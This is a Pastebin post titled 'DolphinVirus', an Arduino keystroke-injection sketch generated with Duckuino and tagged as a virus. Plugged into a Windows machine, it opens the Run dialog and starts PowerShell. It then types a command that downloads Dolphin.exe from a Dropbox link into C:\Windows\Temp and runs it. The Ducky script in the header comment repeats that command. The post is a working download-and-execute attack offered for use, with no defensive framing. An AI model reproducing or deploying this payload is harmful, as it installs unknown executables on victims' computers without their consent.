Advertisement
FlyFar

DolphinVirus (Arduino) - Source Code

Jul 22nd, 2023
307
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Arduino 1.21 KB | Cybersecurity | 0 0
  1. /**
  2.  * Made with Duckuino, an open-source project.
  3. DELAY 500
  4. GUI r
  5. DELAY 500
  6. STRING powershell
  7. DELAY 150
  8. ENTER
  9. DELAY 1500
  10. STRING (New-Object Net.WebClient).DownloadFile("https://www.dropbox.com/s/36f22yinvsehf57/Dolphin.exe?dl=1","C:\Windows\Temp\Dolphin.exe");Start-Process ("C:\Windows\Temp\Dolphin.exe\")
  11. DELAY 500
  12. ENTER
  13.  * Check the license at 'https://github.com/Dukweeno/Duckuino/blob/master/LICENSE'
  14.  */
  15.  
  16. #include "Keyboard.h"
  17.  
  18. void typeKey(uint8_t key)
  19. {
  20.   Keyboard.press(key);
  21.   delay(50);
  22.   Keyboard.release(key);
  23. }
  24.  
  25. /* Init function */
  26. void setup()
  27. {
  28.   // Begining the Keyboard stream
  29.   Keyboard.begin();
  30.  
  31.   // Wait 500ms
  32.   delay(500);
  33.  
  34.   delay(500);
  35.   Keyboard.press(KEY_LEFT_GUI);
  36.   Keyboard.press('r');
  37.   Keyboard.releaseAll();
  38.  
  39.   delay(500);
  40.   Keyboard.print(F("powershell"));
  41.  
  42.   delay(150);
  43.   typeKey(KEY_RETURN);
  44.  
  45.   delay(1500);
  46.   Keyboard.print(F("(New-Object Net.WebClient).DownloadFile(\"https://www.dropbox.com/s/36f22yinvsehf57/Dolphin.exe?dl=1\",\"C:\\Windows\\Temp\\Dolphin.exe\");Start-Process (\"C:\\Windows\\Temp\\Dolphin.exe\\\")"));
  47.  
  48.   delay(500);
  49.   typeKey(KEY_RETURN);
  50.  
  51.   // Ending stream
  52.   Keyboard.end();
  53. }
  54.  
  55. /* Unused endless loop */
  56. void loop() {}
Tags: Arduino virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement